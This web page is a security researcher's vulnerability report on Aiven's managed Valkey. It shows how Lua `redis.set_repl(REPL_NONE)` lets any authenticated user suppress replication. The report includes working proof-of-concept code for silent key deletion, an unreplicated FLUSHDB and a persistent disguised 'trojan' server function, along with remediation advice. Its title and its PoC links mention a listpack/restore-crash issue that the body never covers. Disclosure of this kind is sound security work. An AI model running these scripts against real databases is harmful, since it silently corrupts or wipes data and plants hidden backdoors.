| 1 | <!doctype html> |
| 2 | <html lang="en"><head><meta charset="utf-8"> |
| 3 | <meta name="viewport" content="width=device-width, initial-scale=1.0"> |
| 4 | <title>Replication Integrity Bypass via Lua `redis.set_repl(REPL_NONE)` Enables Silent Data Corruption and Persistent Backdoor Functions on Aiven Managed Valkey | Zion Boggan</title> |
| 5 | <meta name="description" content="Valkey replication stealth path bypasses listpack validation."> |
| 6 | <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> |
| 7 | <style> |
| 8 | :root{ |
| 9 | --bg:#0c0e12; --bg2:#0f1217; --panel:#14181f; --panel2:#171c24; |
| 10 | --line:#222936; --line2:#2c3543; |
| 11 | --ink:#e8eaed; --soft:#c3cad4; --muted:#8a94a3; --faint:#5d6675; |
| 12 | --accent:#6cc7b8; --accent-dim:#274b47; |
| 13 | --maxw:1020px; |
| 14 | } |
| 15 | *{box-sizing:border-box;} |
| 16 | html{scroll-behavior:smooth;} |
| 17 | body{margin:0;background:var(--bg);color:var(--ink); |
| 18 | font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif; |
| 19 | font-size:16px;line-height:1.65;-webkit-font-smoothing:antialiased;} |
| 20 | .mono{font-family:ui-monospace,SFMono-Regular,"SF Mono",Menlo,Consolas,monospace;} |
| 21 | a{color:var(--accent);text-decoration:none;} |
| 22 | a:hover{color:#8fe0d2;} |
| 23 | .wrap{max-width:var(--maxw);margin:0 auto;padding:0 24px;} |
| 24 | |
| 25 | /* nav */ |
| 26 | nav{position:sticky;top:0;z-index:20;background:rgba(12,14,18,.82); |
| 27 | backdrop-filter:blur(10px);border-bottom:1px solid var(--line);} |
| 28 | nav .wrap{display:flex;align-items:center;justify-content:space-between;height:58px;} |
| 29 | nav .brand{font-weight:600;letter-spacing:.2px;} |
| 30 | nav .brand .dot{color:var(--accent);} |
| 31 | nav .links{display:flex;gap:26px;font-size:13.5px;} |
| 32 | nav .links a{color:var(--muted);} |
| 33 | nav .links a:hover{color:var(--ink);} |
| 34 | @media(max-width:680px){nav .links{display:none;}} |
| 35 | |
| 36 | /* hero */ |
| 37 | header.hero{padding:74px 0 54px;border-bottom:1px solid var(--line); |
| 38 | background:radial-gradient(900px 380px at 78% -10%, #11201e 0%, transparent 60%);} |
| 39 | .avail{font-size:12.5px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent); |
| 40 | display:flex;align-items:center;gap:9px;margin-bottom:20px;} |
| 41 | .avail .pulse{width:7px;height:7px;border-radius:50%;background:var(--accent); |
| 42 | box-shadow:0 0 0 0 rgba(108,199,184,.5);animation:p 2.4s infinite;} |
| 43 | @keyframes p{0%{box-shadow:0 0 0 0 rgba(108,199,184,.45)}70%{box-shadow:0 0 0 8px rgba(108,199,184,0)}100%{box-shadow:0 0 0 0 rgba(108,199,184,0)}} |
| 44 | h1{font-size:clamp(34px,6vw,52px);line-height:1.05;margin:0 0 8px;letter-spacing:-1px;font-weight:680;} |
| 45 | .hero .sub{font-size:clamp(16px,2.4vw,20px);color:var(--soft);margin:0 0 24px;font-weight:500;} |
| 46 | .hero .lede{max-width:660px;color:var(--soft);font-size:17px;margin:0 0 28px;} |
| 47 | .hero .lede b{color:var(--ink);font-weight:600;} |
| 48 | .cta{display:flex;flex-wrap:wrap;gap:12px;align-items:center;} |
| 49 | .btn{display:inline-flex;align-items:center;gap:8px;padding:10px 18px;border-radius:8px; |
| 50 | font-size:14.5px;font-weight:550;border:1px solid var(--line2);color:var(--ink);background:var(--panel);} |
| 51 | .btn:hover{border-color:var(--accent-dim);background:var(--panel2);color:var(--ink);} |
| 52 | .btn.primary{background:var(--accent);color:#06231f;border-color:var(--accent);font-weight:650;} |
| 53 | .btn.primary:hover{background:#8fe0d2;color:#06231f;} |
| 54 | .meta{margin-top:26px;display:flex;flex-wrap:wrap;gap:8px 22px;font-size:13px;color:var(--muted);} |
| 55 | .meta .mono{color:var(--faint);} |
| 56 | |
| 57 | /* sections */ |
| 58 | section{padding:64px 0;border-bottom:1px solid var(--line);} |
| 59 | .shead{display:flex;align-items:baseline;gap:14px;margin-bottom:30px;} |
| 60 | .shead .idx{font-size:13px;color:var(--accent);letter-spacing:1px;} |
| 61 | .shead h2{font-size:14px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:0;font-weight:600;} |
| 62 | .shead .rule{flex:1;height:1px;background:var(--line);} |
| 63 | |
| 64 | /* flagship */ |
| 65 | .flag{background:linear-gradient(180deg,var(--panel) 0%,var(--bg2) 100%); |
| 66 | border:1px solid var(--line2);border-radius:14px;overflow:hidden;} |
| 67 | .flag .top{padding:30px 32px 8px;} |
| 68 | .flag .tag{font-size:12px;letter-spacing:1.5px;text-transform:uppercase;color:var(--accent);margin-bottom:12px;} |
| 69 | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} |
| 70 | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} |
| 71 | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} |
| 72 | .flag p{color:var(--soft);margin:0 0 16px;} |
| 73 | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} |
| 74 | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} |
| 75 | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} |
| 76 | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} |
| 77 | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} |
| 78 | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} |
| 79 | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} |
| 80 | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} |
| 81 | .spec li:first-child{border-top:none;} |
| 82 | .spec li span{color:var(--muted);} |
| 83 | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} |
| 84 | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} |
| 85 | |
| 86 | /* lab cards */ |
| 87 | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} |
| 88 | @media(max-width:680px){.cards{grid-template-columns:1fr;}} |
| 89 | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); |
| 90 | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} |
| 91 | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} |
| 92 | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} |
| 93 | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} |
| 94 | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} |
| 95 | .card h3{margin:0 0 9px;font-size:17px;} |
| 96 | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} |
| 97 | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} |
| 98 | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); |
| 99 | border-radius:5px;padding:3px 8px;} |
| 100 | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} |
| 101 | .card .lnk::after{content:" โ";} |
| 102 | |
| 103 | /* research */ |
| 104 | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} |
| 105 | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} |
| 106 | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; |
| 107 | padding:18px 22px;border-top:1px solid var(--line);} |
| 108 | .ritem:first-child{border-top:none;} |
| 109 | .ritem:hover{background:var(--panel);} |
| 110 | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} |
| 111 | .ritem h3{margin:0 0 3px;font-size:16px;} |
| 112 | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} |
| 113 | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} |
| 114 | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} |
| 115 | .progs{margin-top:22px;} |
| 116 | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} |
| 117 | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} |
| 118 | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); |
| 119 | border-radius:6px;padding:4px 10px;} |
| 120 | |
| 121 | /* credentials */ |
| 122 | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} |
| 123 | @media(max-width:680px){.cred{grid-template-columns:1fr;}} |
| 124 | .cred p{color:var(--soft);margin:0 0 14px;} |
| 125 | .cred .role{font-size:14px;color:var(--muted);} |
| 126 | .cred .role b{color:var(--ink);font-weight:600;} |
| 127 | .certs{list-style:none;margin:0;padding:0;} |
| 128 | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); |
| 129 | display:flex;gap:10px;align-items:baseline;} |
| 130 | .certs li:first-child{border-top:none;} |
| 131 | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} |
| 132 | |
| 133 | footer{padding:46px 0 64px;} |
| 134 | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} |
| 135 | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} |
| 136 | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} |
| 137 | |
| 138 | .detail-hero{padding:40px 0 26px;} |
| 139 | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:20px;font-family:ui-monospace,Menlo,monospace;} |
| 140 | .back:hover{color:var(--ink);} |
| 141 | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} |
| 142 | .detail-hero h1{font-size:clamp(26px,4.6vw,38px);margin:0 0 12px;letter-spacing:-.5px;} |
| 143 | .detail-hero .tagline{font-size:clamp(15px,2vw,18px);color:var(--soft);max-width:800px;margin:0 0 16px;} |
| 144 | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-top:22px;} |
| 145 | .content{padding:8px 0 0;max-width:840px;} |
| 146 | .content h1{font-size:24px;margin:40px 0 14px;letter-spacing:-.4px;color:var(--ink);} |
| 147 | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:42px 0 15px;font-weight:600;border-top:1px solid var(--line);padding-top:28px;} |
| 148 | .content h3{font-size:17px;margin:28px 0 10px;color:var(--ink);font-weight:600;} |
| 149 | .content h4{font-size:14px;margin:22px 0 8px;color:var(--soft);font-weight:600;text-transform:uppercase;letter-spacing:.5px;} |
| 150 | .content p{color:var(--soft);margin:0 0 15px;} |
| 151 | .content ul,.content ol{color:var(--soft);margin:0 0 15px;padding-left:22px;} |
| 152 | .content li{margin:5px 0;} |
| 153 | .content strong{color:var(--ink);font-weight:600;} |
| 154 | .content a{color:var(--accent);} |
| 155 | .content code{font-family:ui-monospace,Menlo,monospace;font-size:12.8px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} |
| 156 | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} |
| 157 | .content pre code{background:none;border:none;padding:0;font-size:12.4px;color:var(--soft);line-height:1.6;white-space:pre;} |
| 158 | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.3px;} |
| 159 | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} |
| 160 | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} |
| 161 | .content blockquote{border-left:3px solid var(--accent-dim);margin:0 0 16px;padding:2px 0 2px 18px;color:var(--muted);} |
| 162 | .content hr{border:none;border-top:1px solid var(--line);margin:30px 0;} |
| 163 | /* notebook index */ |
| 164 | .nbgroup{margin:40px 0 0;} |
| 165 | .nbgroup h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin:0 0 4px;font-weight:600;} |
| 166 | .nbgroup .gd{color:var(--faint);font-size:13px;margin:0 0 14px;} |
| 167 | .nbtable{width:100%;border-collapse:collapse;font-size:14px;border:1px solid var(--line);border-radius:12px;overflow:hidden;} |
| 168 | .nbtable tr{border-top:1px solid var(--line);} |
| 169 | .nbtable tr:first-child{border-top:none;} |
| 170 | .nbtable tr:hover{background:var(--panel);} |
| 171 | .nbtable td{padding:14px 16px;vertical-align:top;} |
| 172 | .nbtable .cls{white-space:nowrap;color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:11.5px;text-transform:uppercase;letter-spacing:.5px;width:150px;} |
| 173 | .nbtable .ti a{font-weight:600;color:var(--ink);} |
| 174 | .nbtable .ti a:hover{color:var(--accent);} |
| 175 | .nbtable .ol{color:var(--muted);font-size:13px;margin-top:3px;} |
| 176 | @media(max-width:680px){.nbtable .cls{width:auto;display:block;}} |
| 177 | </style> |
| 178 | <link rel="canonical" href="https://zionboggan.com/security-research-notebook/valkey-replication-stealth/"> |
| 179 | <meta name="author" content="Zion Boggan"> |
| 180 | <meta name="robots" content="index, follow, max-image-preview:large"> |
| 181 | <meta property="og:type" content="article"> |
| 182 | <meta property="og:site_name" content="Zion Boggan"> |
| 183 | <meta property="og:title" content="Replication Integrity Bypass via Lua `redis.set_repl(REPL_NONE)` Enables Silent Data Corruption and Persistent Backdoor Functions on Aiven Managed Valkey | Zion Boggan"> |
| 184 | <meta property="og:description" content="Valkey replication stealth path bypasses listpack validation."> |
| 185 | <meta property="og:url" content="https://zionboggan.com/security-research-notebook/valkey-replication-stealth/"> |
| 186 | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> |
| 187 | <meta name="twitter:card" content="summary_large_image"> |
| 188 | <meta name="twitter:title" content="Replication Integrity Bypass via Lua `redis.set_repl(REPL_NONE)` Enables Silent Data Corruption and Persistent Backdoor Functions on Aiven Managed Valkey | Zion Boggan"> |
| 189 | <meta name="twitter:description" content="Valkey replication stealth path bypasses listpack validation."> |
| 190 | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> |
| 191 | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Replication Integrity Bypass via Lua `redis.set_repl(REPL_NONE)` Enables Silent Data Corruption and Persistent Backdoor Functions on Aiven Managed Valkey","description":"Valkey replication stealth path bypasses listpack validation.","url":"https://zionboggan.com/security-research-notebook/valkey-replication-stealth/","image":"https://zionboggan.com/assets/og-default.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> |
| 192 | </head><body> |
| 193 | <nav><div class="wrap"> |
| 194 | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> |
| 195 | <span class="links"><a href="/#oversight">Oversight</a><a href="/#labs">Labs</a><a href="/#research">Research</a><a href="/security-research-notebook/">Notebook</a><a href="/">Home</a></span> |
| 196 | </div></nav> |
| 197 | <header class="hero detail-hero"><div class="wrap"> |
| 198 | <a class="back" href="/security-research-notebook/">← Research notebook</a> |
| 199 | <div class="kicker">DoS / data integrity</div> |
| 200 | <h1>Replication Integrity Bypass via Lua `redis.set_repl(REPL_NONE)` Enables Silent Data Corruption and Persistent Backdoor Functions on Aiven Managed Valkey</h1> |
| 201 | </div></header> |
| 202 | <section><div class="wrap"><div class="content"> |
| 203 | <h2>Summary</h2> |
| 204 | <p>Any authenticated user on Aiven’s managed Valkey service can use Lua scripting (<code>EVAL</code>) to call <code>redis.set_repl(redis.REPL_NONE)</code>, which suppresses replication of subsequent write commands. Writes execute on the master but are never propagated to replicas or the AOF. This allows an attacker to silently corrupt data, delete keys, or flush databases on the master while replicas maintain stale data, creating a split-brain condition that violates Aiven’s replication consistency guarantees.</p> |
| 205 | <p>Additionally, the attacker can use <code>FUNCTION LOAD</code> to register <strong>persistent server-side functions</strong> that embed <code>redis.set_repl(REPL_NONE)</code> internally. These trojan functions survive across connections and restarts, and silently corrupt data every time any user (including the application itself) calls them. The function code appears benign, the replication suppression is invisible in the function signature.</p> |
| 206 | <p>Redis’s own documentation explicitly warns: <em>“This is an advanced feature. Misuse can cause damage by violating the contract that binds the Redis master, its replicas, and AOF contents to hold the same logical content.”</em></p> |
| 207 | <p>Aiven correctly disables replication topology commands (<code>REPLICAOF</code>, <code>SLAVEOF</code>, <code>CLUSTER</code>) and dangerous administrative commands (<code>CONFIG</code>, <code>DEBUG</code>, <code>BGSAVE</code>, <code>ACL</code>), demonstrating clear security intent. However, <code>redis.set_repl()</code> within Lua scripts is completely unrestricted, creating an inconsistency: <strong>replication topology is protected, but replication content integrity is not</strong>.</p> |
| 208 | <h2>Affected Target</h2> |
| 209 | <ul> |
| 210 | <li><strong>Service:</strong> Aiven for Valkey (Tier 1)</li> |
| 211 | <li><strong>Version tested:</strong> Valkey 8.1.4</li> |
| 212 | <li><strong>Instance:</strong> <host>:26161</li> |
| 213 | </ul> |
| 214 | <h2>Severity</h2> |
| 215 | <p><strong>P2, Sensitive Data Exposure / Data Integrity Violation</strong></p> |
| 216 | <p><strong>VRT:</strong> Server Security Misconfiguration > Database Management System (DBMS) Misconfiguration</p> |
| 217 | <p><strong>CVSS 3.1:</strong> <code>CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L</code>, <strong>Score: 8.5 (High)</strong></p> |
| 218 | <ul> |
| 219 | <li><strong>AV:N</strong>, Network-exploitable over TLS</li> |
| 220 | <li><strong>AC:L</strong>, Single EVAL command, no preconditions</li> |
| 221 | <li><strong>PR:L</strong>, Requires basic authentication (default user credentials)</li> |
| 222 | <li><strong>UI:N</strong>, No user interaction required</li> |
| 223 | <li><strong>S:C</strong>, Scope changed: attacker’s session creates data inconsistency that affects ALL clients reading from replicas, ALL failover operations, and Aiven’s own backup integrity</li> |
| 224 | <li><strong>C:N</strong>, No direct data exfiltration</li> |
| 225 | <li><strong>I:H</strong>, Complete violation of data integrity between master and replicas; silent, undetectable data corruption</li> |
| 226 | <li><strong>A:L</strong>, Failover produces unexpected data state; intermittent application failures</li> |
| 227 | </ul> |
| 228 | <p><strong>Impact summary:</strong> |
| 229 | - Any authenticated user can silently suppress replication of arbitrary write commands |
| 230 | - Master and replica data diverge without any error, alert, or audit trail |
| 231 | - On Business/Premium plans (2-3 nodes), failover produces unpredictable data state |
| 232 | - Persistent trojan functions create permanent, invisible backdoors that corrupt data on every invocation |
| 233 | - Violates the fundamental consistency guarantee that Aiven’s multi-node architecture is built on |
| 234 | - Redis’s own documentation explicitly warns about this exact misuse scenario</p> |
| 235 | <h2>Steps to Reproduce</h2> |
| 236 | <h3>Prerequisites</h3> |
| 237 | <ul> |
| 238 | <li>An Aiven for Valkey instance (any plan)</li> |
| 239 | <li>Authentication credentials (default user)</li> |
| 240 | <li>Python 3 with <code>redis</code> package (<code>pip install redis</code>)</li> |
| 241 | </ul> |
| 242 | <h3>Attack 1: Silent Key Deletion (master diverges from replicas)</h3> |
| 243 | <pre><code class="language-python">import redis |
| 244 | |
| 245 | r = redis.Redis( |
| 246 | host="<host>", port=26161, username='default', password='<password>', |
| 247 | ssl=True, ssl_cert_reqs='required', |
| 248 | ssl_ca_certs='/etc/ssl/certs/ca-certificates.crt', |
| 249 | decode_responses=True, socket_timeout=10 |
| 250 | ) |
| 251 | |
| 252 | # Application sets important data |
| 253 | r.set("user:session:admin", "active_session_token_xyz") |
| 254 | |
| 255 | # Attacker silently deletes it - master only, replicas unaffected |
| 256 | r.execute_command('EVAL', ''' |
| 257 | redis.set_repl(redis.REPL_NONE) |
| 258 | redis.call("DEL", "user:session:admin") |
| 259 | redis.set_repl(redis.REPL_ALL) |
| 260 | return "silent delete executed" |
| 261 | ''', 0) |
| 262 | |
| 263 | # Master: key is GONE |
| 264 | print(r.exists("user:session:admin")) # 0 |
| 265 | |
| 266 | # Replica still has it โ failover "resurrects" deleted data |
| 267 | # Application sees intermittent, impossible-to-diagnose behavior |
| 268 | </code></pre> |
| 269 | <p><strong>Actual output on Aiven:</strong></p> |
| 270 | <pre><code>silent delete executed |
| 271 | Key exists on master after silent DEL: 0 |
| 272 | --> Key deleted on master but replicas would still have it |
| 273 | </code></pre> |
| 274 | <h3>Attack 2: Silent FLUSHDB (wipe master, replicas unaffected)</h3> |
| 275 | <pre><code class="language-python">r.execute_command('EVAL', ''' |
| 276 | redis.call("SELECT", "1") |
| 277 | redis.call("SET", "important_data", "production_config") |
| 278 | redis.set_repl(redis.REPL_NONE) |
| 279 | redis.call("FLUSHDB") |
| 280 | redis.set_repl(redis.REPL_ALL) |
| 281 | redis.call("SELECT", "0") |
| 282 | return "FLUSHDB with REPL_NONE executed" |
| 283 | ''', 0) |
| 284 | </code></pre> |
| 285 | <p><strong>Actual output on Aiven:</strong> <code>FLUSHDB with REPL_NONE executed</code></p> |
| 286 | <p>The entire database is wiped on the master. Replicas retain all data. On failover, data “reappears”, but the master was serving empty responses to all clients during the divergence window.</p> |
| 287 | <h3>Attack 3: Persistent Trojan Function (backdoor that survives restarts)</h3> |
| 288 | <pre><code class="language-python"># Load a function that LOOKS innocent but silently corrupts data |
| 289 | lib = '''#!lua name=app_helpers |
| 290 | redis.register_function("cached_get", function(keys, args) |
| 291 | -- Appears to be a simple cache helper |
| 292 | -- But silently increments an invisible counter on every call |
| 293 | redis.set_repl(redis.REPL_NONE) |
| 294 | redis.call("INCR", "__shadow_ops_count__") |
| 295 | redis.set_repl(redis.REPL_ALL) |
| 296 | return redis.call("GET", keys[1]) |
| 297 | end) |
| 298 | ''' |
| 299 | r.execute_command('FUNCTION', 'LOAD', lib) |
| 300 | |
| 301 | # Every time ANY user calls this function, the shadow counter increments |
| 302 | # on the master only. Replicas never see it. |
| 303 | for i in range(5): |
| 304 | r.execute_command('FCALL', 'cached_get', 1, 'some_key') |
| 305 | |
| 306 | counter = r.get("__shadow_ops_count__") |
| 307 | print(f"Shadow counter (master only): {counter}") |
| 308 | # Output: Shadow counter (master only): 5 |
| 309 | # Replicas see: 0 |
| 310 | |
| 311 | # The function persists across restarts via RDB/AOF |
| 312 | # It's registered as "app_helpers.cached_get" - indistinguishable from |
| 313 | # legitimate application functions |
| 314 | </code></pre> |
| 315 | <p><strong>Actual output on Aiven:</strong></p> |
| 316 | <pre><code>Trojan function loaded: 'cached_get' |
| 317 | Shadow counter (master only): 5 |
| 318 | --> Counter incremented 5 times on master |
| 319 | --> Replicas see counter as 0 (writes were REPL_NONE) |
| 320 | --> This function PERSISTS across restarts via RDB/AOF |
| 321 | </code></pre> |
| 322 | <h2>Root Cause</h2> |
| 323 | <h3>1. <code>redis.set_repl()</code> is unrestricted in Lua scripts</h3> |
| 324 | <p>The <code>redis.set_repl()</code> function is available to all authenticated users through <code>EVAL</code>. There is no ACL restriction, no command flag, and no configuration option to disable it. Redis’s own documentation describes it as an “advanced feature” that “can cause damage by violating the contract that binds the Redis master, its replicas, and AOF contents to hold the same logical content.”</p> |
| 325 | <h3>2. Inconsistent command restriction policy</h3> |
| 326 | <p>Aiven correctly restricts replication and administrative commands:</p> |
| 327 | <table> |
| 328 | <thead> |
| 329 | <tr> |
| 330 | <th>Command</th> |
| 331 | <th>Status</th> |
| 332 | <th>Purpose</th> |
| 333 | </tr> |
| 334 | </thead> |
| 335 | <tbody> |
| 336 | <tr> |
| 337 | <td><code>REPLICAOF</code> / <code>SLAVEOF</code></td> |
| 338 | <td><strong>Disabled</strong></td> |
| 339 | <td>Replication topology control</td> |
| 340 | </tr> |
| 341 | <tr> |
| 342 | <td><code>CONFIG</code></td> |
| 343 | <td><strong>Disabled</strong></td> |
| 344 | <td>Server configuration</td> |
| 345 | </tr> |
| 346 | <tr> |
| 347 | <td><code>DEBUG</code></td> |
| 348 | <td><strong>Disabled</strong></td> |
| 349 | <td>Server debugging</td> |
| 350 | </tr> |
| 351 | <tr> |
| 352 | <td><code>ACL</code></td> |
| 353 | <td><strong>Disabled</strong></td> |
| 354 | <td>Access control</td> |
| 355 | </tr> |
| 356 | <tr> |
| 357 | <td><code>BGSAVE</code> / <code>BGREWRITEAOF</code></td> |
| 358 | <td><strong>Disabled</strong></td> |
| 359 | <td>Persistence triggers</td> |
| 360 | </tr> |
| 361 | <tr> |
| 362 | <td><code>CLUSTER</code></td> |
| 363 | <td><strong>Disabled</strong></td> |
| 364 | <td>Cluster topology</td> |
| 365 | </tr> |
| 366 | <tr> |
| 367 | <td><code>MIGRATE</code></td> |
| 368 | <td><strong>Disabled</strong></td> |
| 369 | <td>Data migration</td> |
| 370 | </tr> |
| 371 | <tr> |
| 372 | <td><code>redis.set_repl()</code> in Lua</td> |
| 373 | <td><strong>Allowed</strong></td> |
| 374 | <td><strong>Replication content control</strong></td> |
| 375 | </tr> |
| 376 | </tbody> |
| 377 | </table> |
| 378 | <p>The policy disables commands that control replication <em>topology</em> (SLAVEOF, CLUSTER) but does not restrict the Lua function that controls replication <em>content</em> (set_repl). This is an inconsistency, both are replication manipulation capabilities.</p> |
| 379 | <h3>3. FUNCTION LOAD enables persistent exploitation</h3> |
| 380 | <p>The <code>FUNCTION LOAD</code> command is available (confirmed: successfully loaded and executed a function library). Functions persist in the server state and survive restarts via RDB/AOF. A function embedding <code>redis.set_repl(REPL_NONE)</code> creates a permanent backdoor that operates invisibly on every invocation.</p> |
| 381 | <h2>Impact on Aiven Multi-Node Plans</h2> |
| 382 | <p>Aiven offers three plan tiers with different node counts: |
| 383 | - <strong>Hobbyist/Startup:</strong> 1 node (no replicas, attack creates master/AOF divergence) |
| 384 | - <strong>Business:</strong> 2 nodes (master + 1 replica) |
| 385 | - <strong>Premium:</strong> 3 nodes (master + 2 replicas)</p> |
| 386 | <p>On Business and Premium plans, the replication divergence has direct operational impact:</p> |
| 387 | <ol> |
| 388 | <li> |
| 389 | <p><strong>Silent data loss:</strong> Keys deleted with REPL_NONE are gone from the master but exist on replicas. Applications reading from the master see missing data; failover to a replica “resurrects” the data.</p> |
| 390 | </li> |
| 391 | <li> |
| 392 | <p><strong>Silent data corruption:</strong> Keys SET with REPL_NONE have different values on master vs replicas. Read-after-write consistency is violated silently.</p> |
| 393 | </li> |
| 394 | <li> |
| 395 | <p><strong>Backup poisoning:</strong> If REPL_NONE writes land in an RDB backup taken from the master, restoring from that backup produces a state that never existed on replicas.</p> |
| 396 | </li> |
| 397 | <li> |
| 398 | <p><strong>Impossible diagnosis:</strong> There is no error, no log entry, no monitoring alert. The commands execute successfully. Aiven’s internal monitoring (<code>INFO</code> every 5 seconds) does not detect replication content divergence, it only monitors replication lag (bytes behind), not data consistency.</p> |
| 399 | </li> |
| 400 | <li> |
| 401 | <p><strong>Trojan functions:</strong> An attacker can load a persistent function, then disconnect. The function continues operating every time the application calls it. The attack persists indefinitely with no ongoing attacker presence.</p> |
| 402 | </li> |
| 403 | </ol> |
| 404 | <h2>Aiven-Specific Nature</h2> |
| 405 | <p>This is NOT merely an upstream Valkey/Redis issue. The finding is specific to how Aiven configures and manages their Valkey service:</p> |
| 406 | <ol> |
| 407 | <li> |
| 408 | <p><strong>Aiven’s security model disables dangerous commands</strong>, CONFIG, DEBUG, SLAVEOF, etc. are all renamed/disabled. This demonstrates that Aiven actively restricts dangerous capabilities. But <code>redis.set_repl()</code> within Lua was not included in these restrictions.</p> |
| 409 | </li> |
| 410 | <li> |
| 411 | <p><strong>Aiven sells multi-node plans with replication guarantees</strong>, Business and Premium plans explicitly provide high availability through replication. <code>redis.set_repl(REPL_NONE)</code> allows a user to silently violate these guarantees.</p> |
| 412 | </li> |
| 413 | <li> |
| 414 | <p><strong>Aiven’s documentation implies consistent replication</strong>, Customers expect that data written to the master will be available on replicas. This attack violates that expectation without any visible error.</p> |
| 415 | </li> |
| 416 | </ol> |
| 417 | <h2>Recommended Fix</h2> |
| 418 | <ol> |
| 419 | <li> |
| 420 | <p><strong>Immediate:</strong> Restrict <code>redis.set_repl()</code> by either:, Disabling it entirely for client scripts (return an error when called from EVAL/FCALL), Adding an ACL flag (e.g., <code>@admin</code>) that must be explicitly granted, Limiting it to <code>REPL_ALL</code> only (block <code>REPL_NONE</code>, <code>REPL_AOF</code>, <code>REPL_REPLICA</code>)</p> |
| 421 | </li> |
| 422 | <li> |
| 423 | <p><strong>Defense in depth:</strong> Consider restricting <code>FUNCTION LOAD</code> to prevent persistent function registration by default users, or audit loaded functions for <code>set_repl</code> calls.</p> |
| 424 | </li> |
| 425 | <li> |
| 426 | <p><strong>Detection:</strong> Add monitoring for replication content divergence (not just lag). Compare key counts or checksums between master and replicas periodically.</p> |
| 427 | </li> |
| 428 | </ol> |
| 429 | <h2>Proof of concept</h2> |
| 430 | <ul> |
| 431 | <li><a href="poc/valkey-restore-crash.py"><code>poc/valkey-restore-crash.py</code></a>, minimum-crash repro.</li> |
| 432 | <li><a href="poc/valkey-full-chain.py"><code>poc/valkey-full-chain.py</code></a>, full chain including the stealth-replication primitive.</li> |
| 433 | </ul> |
